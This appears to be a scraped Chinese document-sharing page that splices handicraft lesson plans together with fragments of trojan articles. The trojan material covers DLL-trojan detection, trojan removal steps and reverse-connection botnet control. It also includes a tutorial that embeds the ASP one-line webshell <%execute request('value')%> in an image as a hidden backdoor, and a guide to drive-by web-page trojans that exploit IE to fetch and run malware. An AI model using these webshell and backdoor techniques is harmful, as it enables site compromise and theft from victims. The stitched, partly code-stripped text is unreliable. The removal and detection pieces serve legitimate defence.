艺术：摇木马(手工)
《幼儿园主题式课程》预期活动计划
DLL木马的发现与清除
ＤＬＬ木马的发现与清除 林廷劈 （三明学院数学与计算机科学系，福建三明 ３６５００４） 摘要：探讨了ＤＬＬ木马的危害性，提出了如何发现这种木马的方法以及清除这种新型木马的措施。关键词：网络安全；ＤＬＬ木马；发现；清除中图分类号：ＴＰ３９３．０８ 文献标识号：Ａ 文章编号：１６７３－４３４３（２００６）０４－０４３９－０４ ＴｈｅＤｅｔｅｃｔｉｏｎａｎｄＤｅｌｅｔｉｏｎｏｆｔｈｅＤＬＬＴｒｏｊａｎＨｏｒｓｅ ＬＩＮＴｉｎｇ－ｐｉ （ＤｅｐａｒｔｍｅｎｔｏｆＭａｔｈｅｍａｔｉｃｓａｎｄＣｏｍｐｕｔｅｒＳｃｉｅｎｃｅ，ＳａｎｍｉｎｇＵｎｉｖｅｒｓｉｔｙ，Ｓａｎｍｉｎｇ３６５００４，Ｃｈｉｎａ） Ａｂｓｔｒａｃｔ：ＴｈｉｓａｒｔｉｃｌｅｄｉｓｃｕｓｓｅｓｔｈｅｈａｒｍｏｆｔｈｅＤＬＬＢａｃｋｄｏｏｒ，ｐｏｉｎｔｓｏｕｔｈｏｗｔｏｄｅｔｅｃｔｔｈｅｂａｃｋｄｏｏｒａｎｄｉｎｔｒｏｄｕｃｅｓｓｏｍｅｍｅｔｈｏｄｓｈｏｗｔｏｅｒａｓｅｔｈｉｓｎｅｗｔｙｐｅｏｆｂａｃｋｄｏｏｒ． Ｋｅｙｗｏｒｄｓ：ＤＬＬＴｒｏｊａｎＨｏｒｓｅ；ｄｅｔｅｃｔｉｏｎ；ｄｅｌｅｔｉｏｎ 引言 木马在如今的网络中，是十分普遍的存在，它的危害不言而喻。如果你家的电脑经常泄露秘密，一般都是木马的原因。随着人们对网络安全意识的提高，对木马认识的加强，传统的木马（一个或几个可执行程序）已经很难再隐藏自己，于是出现了一种新型的木马，它就是用ＤＬＬ文件做成的木马。这种木马把自己做成一个ＤＬＬ文件，然后再由某个ＥＸＥ程序文件作为载体对它进行调用，或者使用ＲＵＮＤＬＬ３２．ＥＸＥ来启动，通过这样的技术处理，一方面不会有木马本身的进程出现，同时也实现了端口的隐藏。因此这种木马很难被察觉，也很难清除。本文针对ＤＬＬ木马这一问题进行探讨，提出了ＤＬＬ木马如何发现和清除的方法。 １木马侵入机器的途径和危害 木马大多十分隐蔽，在多数情况下，很多机器 都是在不知不觉中被种植了木马。根据笔者的研究发现，木马侵入机器的途径主要有： 隐藏在软件包中，一旦用户下载了一个带有木马的软件包，在机器运行安装程序时，木马就会种植在系统中；很多木马都是绑定在某个软件上的，传播木马的玩家很喜欢把木马放在ＦＴＰ服务 器上（或者ＷＥＢ服务器），然后他会在网络中找各种机会宣传服务器的地址让用户去访问，所以用户下载文件时一定要小心提防；隐藏在带附件的邮件中，这种邮件很多，一些垃圾邮件就经常是这种类型，一旦运行了附件中的文件，那么木马就在你的机器中＂安营扎寨＂了；当然这种方式的传播对用户来说已经不可怕了，因为很多用户都有一定的警惕性了，不轻易运行附件就可以了；通过即时通信工具进行传播，比如对方把木马和一张很有诱惑力的图片绑在一起，通过ＱＱ发给你，一般情况下你都会打开这图片看看，看完之后你的电脑就中招了；通过不良网站传播，这种情况最难防范，只要你的机器访问对方的网站，就等于“引狼入室”。目前这种不良网站数量很多，可谓防不胜防。 木马一旦侵入你的系统，无异于用户的一切资料大门洞开，后患无穷，对此不能掉以轻心。很多木马最喜欢做的事情就是收集用户各种密码，还有的专门记录用户键盘输入的字符。许多用户认为自己安装了防火墙，也安装了杀毒软件，机器就安全了。但是道高一尺魔高一丈，随着木马开发者不断地进行技术改进，很多木马都能绕过防火墙的拦截，国内常用的瑞星、天网、毒霸等工具都算不错的防火墙软件，但是这些工具对于木马开 收稿日期：２００６－０８－１３ 作者简介：林廷劈（１９７３－），男，福建大田人，讲师。 ２００６年１２月第２３卷第４期 三明学院学报 ＪＯＵＲＮＡＬＯＦＳＡＮＭＩＮＧＵＮＩＶＥＲＳＩＴＹ Ｄｅｃ．２００６Ｖｏｌ．２３ＮＯ．４
粘土手工坊----课程纲要(中级)
《粘土手工坊》校本课程纲要 课程名称粘土手工坊 单位 适用年级xx中学第三附属小学 五、六年级设计人 34xx校本选修艺术类总课时数课程类型 课程 简介超轻粘土是纸黏土里的一种，捏塑起来更容易，更舒适，更适合造型，且作品很可爱，是一种兴起于日本的新型环保、无毒、自然风干的手工造型材料。 我校经过对学生的调查发现： 粘土手工适合三至六年级学生操作，在制作过程中会给孩子们带来无限的快乐和自我实现的成功感，并且在制作过程中也有利于学生各方面的能力的发展。中高年级学生学习积极性高，拥有活跃的思维并具备一定的动手能力。根据他们的年龄和心理特征。此阶段以实践性创作体验和探究创新活动为主，并提倡课内与课外、教育与指导、发展与提高的紧密配合。 通过粘土制作活动，培养学生动手能力和欣赏美、创造美的能力，并在活动中促进学生学习方式的转变，激发学生的参与，促进学生从立体的角度去认识、观察与欣赏事物。在整个学习过程中，主要以捏制超轻粘土为主，并结合绘画，让学生拥有自己独特的作品。作业以个人或小组合作的形式进行平面和立体手工制作。 目的和意义： 通过粘土手工制作学习，培养学生审美能力，锻炼动手操作能力、开发智力、培养创造才能。通过制作,体验超轻粘土这种材料的特点,培养学生制作兴趣。同时也培养其眼、脑、手等三者方面的协调力。
已有基础： 学生在低年级就具有已有基本的绘画和捏制粘土的经验，所以在制作过程中稍加提醒注意事项即可。尊重学生的主体地位，以学生自主活动为主，教师讲授、指导少而精，多给学生时间以发挥创作空间。 所需条件： 1、课程实施的场所及教案（师生共同设计活动方案)。 2、教学美术工具。 3、学生携带一套粘土制作工具及相关美术学习用品。 4、家长的配合与支持。 1、熟悉超轻粘土的特性，学习超轻粘土制作的基本方法，会用揉、团、搓、捏、背景分析课程目 标接等方法自由地改变形体。通过多次实践，能自由构想各种形状和組合的方式制作一件件工艺品，从而激发其探索塑造新方法的浓厚兴趣。同时也培养同学们眼、脑、手等三者方面的协调力。 2、通过对图片、动画片的欣赏，激发创作的思维与灵感，培养制作兴趣，通过在自由轻松的创作活动中，陶冶性情，培养健康的审美情趣和良好的品德情操，从而使学生对事物的观察力、空间的想象力、形象的创造力等方面得到综合性的锻炼。 3、结合学生生活实际，通过资料的采集与整理，问题的探讨与分析等，以合作与独创相结合的学习体验，促进学生在艺术创作活动中创新意识协作精神。 4、通过欣賞自己和他人的作品，以提升美感、品味。通过对同学之间作品的评价，对创作过程中的情节交流，形成互相学习、互相进步。学习主 题主题周次∕ 课时
创意手工教案
泥工——包水饺 活动目标： 1、学习团圆、压扁的技能，能运用这些技能来塑造简单水饺的形象，发展幼儿的动手能力。 2、继续培养幼儿对泥塑的兴趣及泥塑活动的常规。 活动准备： 橡皮泥、泥工板、范例等 活动过程： 一、引题 ——通过讨论的活动形式激发幼儿活动的兴趣。请幼儿一桌一桌的讨论说水饺是什么样的？ 二、出示范例，激发幼儿塑造的兴趣 ——重点：强调团圆、压扁的技能：、左手心，左手在下右手在上，手心相对，把泥慢慢的团圆，团圆后用掌心想下压。 ——难点：把泥压好后包捏成水饺的形象。 三、幼儿动手操作，教师巡回指导，鼓励幼儿大胆塑造。 四、请幼儿互相观赏作品，说说谁的作品好，在操作中，谁认真作业到结束。 五、结束活动： ——整理泥塑，要求幼儿把同颜色的泥团放在一起。
手工——运动小人 活动目标： 1、能用火柴棒来表现运动人的头部、四肢和躯干。 2、了解运动姿势，发挥想象力，拼搭出各种运动造型。 3、感受图形拼搭的趣味。 活动准备： 1、火柴棒双面胶 2、为每位幼儿准备一些火柴 活动过程： 一、我是运动员 ——玩“山上有个木头人”的游戏，将其中的“木头人”替换成“运动员幼儿念完儿歌最后一句时，立刻摆出一种运动姿势，并保持不动。 ——在游戏中，教师和幼儿一起模仿，了解不同运动项目的动作特点。二、运动员出来了 ——请一名幼儿模仿一种运动项目的动作姿势。教师讲解并示范用火柴棒拼搭的方法。先定好运动员头部的位置，然后根据运动员的姿势摆放好身体、手、脚的位置和方向。最后，看看运动员的姿势是不是和示范者的姿势一样。——鼓励幼儿发挥想想，自主设计运动员的不同运动姿势。 三、运动员参加运动会 ——运动员马上要去参加运动会了！教师发给幼儿操作用纸，请幼儿先耐心撕下双面胶的白色纸条，然后在有粘性的空白处用火柴棒拼搭运动员。——教师巡回观察并指导，鼓励幼儿添画“道具”或运动情景。 ——教师询问幼儿拼搭的是什么运动员的姿势，并用文字在其作品旁简单记录。
菜鸟必懂的木马连接通用原理
菜鸟必懂的木马连接通用原理2009-01-04 17:55 目前常见的木马有三种：正向连接木马、反弹连接木马、收信木马。 正向连接木马，所谓正向，就是在中马者在机器上开个端口，而我们去连接他的端口。而我们要知道他的IP，才能够连接他。123就是他机器上开的端口。 由于到现在，宽带上网（动态IP）和路由器的普遍，这个软件就有很大的不足。 动态IP：每次拨号，IP都会跟换。所以，就算对方中了木马，在下次拨号的时候，我们会因为找不到IP而丢肉鸡。 路由器：就是多个电脑同用1条宽带（网吧上网就是最好的例子）他们通过路由器连接到宽带，例如：主机的IP为225.124.3.41，而内网（就是用路由器的机器）的IP为192.168.X.X.在内网环境下，我们外界是无法访问的，就是机器中了木马也没用。 简单来说，内网的机器是比较安全的，外界是无法访问的，就是我们连接不了内网器。而连接内网的机器，除非在同区域网里（在网吧A机，就能用RIDMIN连接网吧的B机）。 简单总结：在不同区域网下，正向木马只能连接到外网的机器，而不能连接到内网的机器。 由于一系列的不足，就产生了反弹连接木马，例如出门的国产软件：灰鸽子 反弹连接木马，就是在我们机器上开启一个端口，让中马者来连接我们，从而获得肉鸡的信息，就算对方的IP怎么改变，也是无际于事。如果我们自己机器上的IP改变了，肉鸡就无法找到我们的机器，从而无法获得肉鸡的信息，不过这点是不成问题的，WWW兴起，就有了域名。在网络中通过的对域名的访问能找到自己对应的IP地址，例如https://www.360docs.net/doc/3413276642.html, 的IP地址为22.181.38.4 如果百度的IP变成12.11.22.3的话，只要域名不改变，就算IP地址怎么变，它也能找到你。就算是内网的机器，我们也能获得他的信息。 总结到底：本地开启1个端口，肉鸡连接上我们，就算是内外网的机器也可以。 反弹连接木马最头疼的地方就是使用者是内网状态的（大家可以看我的路线图，蓝色为反弹连接，黑色为正常连接）。说到为什么最头疼，大家就回忆下正向连接木马的原理。别人是无法直接访问路由器内的机器（内网）。 读后评: 目前几种流行的木马的连接方式,知己知彼,百战百胜
制作手工剪贴画方法与步骤
一、剪贴画的基本概念：根据设想意图选择相应材料，通过裁剪、拼贴、组合等方式，形成具有一定主题且有较强视觉冲击力的画面。 二、制作剪贴画的基本要求: 1.层次分明、主题突出。 2.色调统一、整体感强 3.构思独特、细节精细 4.制作精湛、画面协调 三、制作剪贴画的基本步骤： 1.确定主题，构思立意 2.勾画草图，确定色调 3.选择材料，剪裁摆放 4.拼贴组合，调整完成 小学生手工制作评分标准主要有以下几项： 1、必须现场制作，现成的展示不予评奖； 2、作品完整，做工精致； 3、创意新颖，形式活泼； 4、造型美观，材料环保； 5、主题鲜明，情趣健康； 6、有一定的技术含量。
树叶粘贴画的制作 一、树叶的采集与保存 1.树叶的采集要先考虑其形状的变化。如多菱形的枫树叶、圆形的桦树叶、长形的揪树叶及椭圆的胡枝子叶等，都应采集，以保证图案结构的多样化。 2.树叶的采集还要考虑颜色的多样性。 3.树叶的采集要系列化，即每一种形状、颜色的树叶都能形成从小到大逐个渐进的序列。这样能保证制作时有充分选择的余地。同时也要收集一些花叶、花籽与梗等。 4.采集树叶的同时要携带一定数量的吸水纸或废报纸，如果有纸张粗糙的旧书或杂志也可以。边采集边将树叶展平后摆放到吸水纸中。带回来以后用重物压紧，并且每天翻动两次，大约一周左右待树叶干透以后，分类夹放好就可以用了。 二、树叶的选用与粘贴 1.工具。普通白纸若干张，镊子一个，胶水一瓶。 2.粘贴前先选择适合画面需要的树叶，用镊子轻轻地夹放到画稿上去。经过精心的设计摆放，认为达到了画面要求时就可以在树叶的背面涂上胶水按照先
后次序，放到预先设计好的位置上去。在上面蒙上一层薄纸后渐渐地展平树叶，放到一边待胶水干透后一幅画就完成了。注意不要重压，否则树叶容易破裂。 三、画面处理的方法 1.一种树叶的多次利用 利用树叶可以做很多风景、动物、器物的粘贴画。但是，一个画面的好坏，主要取决于树叶的形状与颜色的选择、搭配。同种大小、颜色不同的树叶在一起搭配粘贴能表现很多的内容。同时要兼顾树叶之间颜色的对比，色度的黑、白、灰。主体部分的色彩不宜大鲜艳，细节部分的色彩可鲜艳一些，这样交错搭配画面就比较协调。例如，准备粘贴一幅“孔雀开屏”的画面，可以选择绿色的柳树叶叠放成扇状，在孔雀屏空隙处摆放两层红与黄的柳树 叶，正面放一叶浅黄色的柳树叶做孔雀的身体，用叶梗做孔雀的腿，这样，一只向每一位参观者展示自己丰姿的绿孔雀就完成了。如果想粘贴一幅“葡萄”的画面，可以用大小不同、颜色不同的树叶相互叠放后形成硕果累累画面后，由两片大菱形葡萄叶完成整幅画面。 2.多种树叶的组合 随着画面内容的不同，有些物体需要不同形状的树叶去完善，如，要贴一幅“金鱼戏水”的画面，金鱼的身体部分用浅色的长圆形树叶，尾巴用红绿相间的枫叶，用外层红、里层黑的花籽粘上眼睛，金鱼就维妙维肖了。画面下边用蕨草做水草，上边用松针模贴几条代表水平面。从画面上看，好象一条色彩斑澜的金鱼在水中悠闲自得的嬉游。 3.花叶、花籽、花梗的使用
一句话木马图片制作(三种方法)
图片木马制作的三种方法Copy命令制作 1.asp内容： 打开cmd，数据一下命令：
此时打开两个jpg文件，相比： 且打开可以像一样显示图像。 把以下代码放入目标网站，即可按asp执行。<% #include files=””%> Uedit32（转载）：
本制作来自于：雪糕。 我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误： Microsoft VBScript 运行时错误错误 '800a000d' 类型不匹配: 'execute' /news1/，行 3 所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码： 这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。 制作步骤： 一、前期准备 材料： 1.一张图片：
2.一句话木马服务器端代码： <%execute request("value")%>（其他的一句话也行） 3.一句Script标签： 4. 调用图片后门代码： 工具：UltraEdit
常见木马病毒清除的方法
常见木马病毒清除的方法 来源：互联网 | 2009年09月23日 | [字体：小大] | 网站首页 由于很多新手对安全问题了解不多，所以并不知道自己的计算机中了“木马”该怎么样清除。虽然现在市面上有很多新版杀毒软件都可以自动清除“木马”，但它们并不能防范新出现的“木马”程序，因此最关键的还是要知道“木马”的工作原理，这样就会很容易发现“木马”。相信你看了这篇文章之后，就会成为一名查杀“木马”的高手了。 “木马”程序会想尽一切办法隐藏自己，主要途径有:在任务栏中隐藏自己，这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False，程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动，你当然不会指望用户每次启动后点击“木马”图标来运行服务端，，“木马”会在每次用户启动时自动装载服务端，Windows系统启动时自动加载应用程序的方法，“木马”都会用上，如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。 在win.ini文件中，在[WINDOWS]下面，“run=”和“load=”是可能加载“木马”程序的途径，必须仔细留心它们。一般情况下，它们的等号后面什么都没有，如果发现后面跟有路径与文件名不是你熟悉的启动文件，你的计算机就可能中上“木马”了。当然你也得看清楚，因为好多“木马”，如“AOL Trojan 木马”，它把自身伪装成command.exe文件，如果不注意可能不会发现它不是真正的系统启动文件。 在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那么后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。 在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表 “HKEY-LOCAL-MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下的Explorer 键值改为Explorer=“C:WINDOWSexpiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。 当然在注册表中还有很多地方都可以隐藏“木马”程序， 如:“HKEY-CURRENT-USERSoftwareMicrosoftWindowsCurrentVersionRun”、“HKEY-USERS****SoftwareMicrosoftWindowsCurrentVersionRun”的目录下都有可能，最好的办法就是在
(完整word版)手工制作教案
《手工》校本课程计划与教案 授课教师：杨敏 授课对象：四年级学生 授课时间：每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸，与课堂教学相比更具灵活性、可塑性，因而学生非常乐意参加。地方课程的开设，在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活，为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下： 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间，使他们的一技之长得到充分的发挥和展示，以点带面，促进全校的美术活动。进一步了解美术的基本知识，提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动，并保持室内清洁。 2、每周五下午第二节课开始活动，小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律，不准在美术室大声喧哗，不准做与美术学习无关的事。 4、每次老师布置的作业，学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容
1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品，开拓学生眼界。 5、及时用相机拍摄活动内容。（集体或个人） 四、定期举办美术比赛 举办美术展览，交流、回顾、总结学习成果，为同学们提供表现自己实力，增强自信心的舞台能起到意想不到的效果。教师要精心指导，严格把关。学生大胆构思，不拘一格，精心绘制，多出佳作，在校内展出以起到示范作用。 五、备注 附：教学进程和教案 博爱小学地方课程备课（填年度学期） 一、教学进程 有趣的吊饰 教学目标： 1、知识与技能：能表现物象的形态特征；运用剪、对折、粘贴制作吊饰；有目的的排列。 2、过程与方法： （1）在比较中，感受民间饰物造型、色彩、花纹特点； （2）在探索中学习吊饰的设计方法； （3）在“尝试运用”中掌握制作方法。
常见100种木马排除方法
常见100种木马排除方法！ 1.Acid Battery 打开注册表Regedit 点击目录至： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 删除右边的Explorer ="C:\WINDOWS\expiorer.exe" 关闭Regedit 重新启动到MSDOS方式 删除c:\windows\expiorer.exe木马程序 注意：不要删除正确的ExpLorer.exe程序，它们之间只有i与L的差别。 重新启动。 2.Acid Shiver 重新启动到MSDOS方式 删除C:\windows\MSGSVR16.EXE 然后回到Windows系统 打开注册表Regedit 点击目录至： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices 删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE" 关闭Regedit 重新启动。 3.Ambush 打开注册表Regedit 点击目录至： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 删除右边的zka = "zcn32.exe" 关闭Regedit 重新启动到MSDOS方式 删除C:\Windows\ zcn32.exe 重新启动。 4.AOL Trojan 启动到MSDOS方式 删除C:\ command.exe（删除前取消文件的隐含属性） 注意：不要删除真的https://www.360docs.net/doc/3413276642.html,文件。 删除C:\ americ~1.0\buddyl~1.exe（删除前取消文件的隐含属性） 删除C:\ windows\system\norton~1\regist~1.exe（删除前取消文件的隐含属性） 打开WIN.INI文件
手工制作课程纲要
手工制作课程纲要Revised on November 25, 2020
手工课课程纲要 教材来源：儿童手工大王 学科：手工制作 授课对象：三、四年级学生 设计者：黄琳琳/黄店镇打车李小学 一、课程理念 本课程重点在学习纸材的平面与立体制作系列等，以及生活中各种材质或废旧物品的再利用而创作的作品。学生通过这门课的学习，能提高审美情趣，深化对创意、造型、色彩与选材等问题的理解与运用，激发学生丰富的想象力，培养学生创新思维与动手能力，促进学生自主、合作、探究的意识，养成工作的计划性、耐心细致的良好习惯，全面挖掘学生的潜能。 二、课程目标 学生通过本课程的学习，在知识、能力和素养方面应达到的目标； 1、学生能够学会并掌握手工艺术创作中的折、卷、剪贴、编织、缠、捏等多种手工制作的基本表现方法、技巧。动手能力、探究合作能力不断提高。 2、学生在自主、合作、探究过程中，学会与他人沟通与合作，运用各种材料及手工制作方法进行艺术创作。 3、在学习手工制作的过程中，学生创新思维与动手能力得到提高，促进学生养成工作有计划性、耐心细致的良好习惯。 三、课程内容
四、课程实施建议 1、坚持情感和趣味性原则。挖掘教材中情感性、趣味性的因素，充分调动学生绘画与手工的兴趣和积极性。 2、坚持“潜能开发”原则。选择适合的教与学的环境，最大限度地开发学生创造潜能。以学生发展为本，让他们的美术潜质都能获得不同程度的发展，“让具有特殊艺术才能的学生发展和提高”。 3、坚持“有效教学”原则。力求以较小的投入，获得较高的教学功效，探求尽可能高的教学正效应和尽可能低的教学负效应。 4、坚持“因材施教”原则。低年级以兴趣培养、情境教学和游戏形式为主，不过于强调技法，使学生愿意画，喜欢美工，用色彩画面和其他媒材尽情表达自己，表现自然。中年级多增加手工制作的技能技巧的培养和训练，尝试用多种媒材来表现造型、设计、应用，拓宽学生的视野。高年级多增加综合运用技巧的创作课、手工制作课。 5、坚持多样教学策略原则。采取“讨论式”、“情景创设式”、“音乐意象引导式”、“综合艺术”、“游戏式”、“小组分工合作”、“个别教学式”等教学策略。 五、课程评价建议 学生学业的评价办法: 1．重视评价主体的多元。采用学生自评、互评及教师和家长对学生评价等方法。 （1）重视学生自我评价，引导反思。引导学生客观全面地评价自己。
网页木马制作全过程(详细)
如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。 有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中 “https://www.360docs.net/doc/3413276642.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的